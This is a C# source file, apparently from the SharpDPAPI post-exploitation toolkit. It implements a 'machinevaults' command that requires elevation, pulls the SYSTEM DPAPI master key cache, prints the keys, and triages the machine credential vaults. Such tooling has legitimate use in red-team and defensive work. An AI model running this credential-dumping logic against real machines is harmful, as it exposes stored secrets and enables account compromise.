using System; using System.Collections.Generic; using System.IO; namespace SharpDPAPI.Commands { public class Machinevaults : ICommand { public static string CommandName => "machinevaults"; public void Execute(Dictionary arguments) { Console.WriteLine("\r\n[*] Action: Machine DPAPI Vault Triage\r\n"); if (!Helpers.IsHighIntegrity()) { Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); } else { Dictionary mappings = Triage.TriageSystemMasterKeys(); Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); foreach (KeyValuePair kvp in mappings) { Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); } Console.WriteLine(); Triage.TriageSystemVaults(mappings); } } } }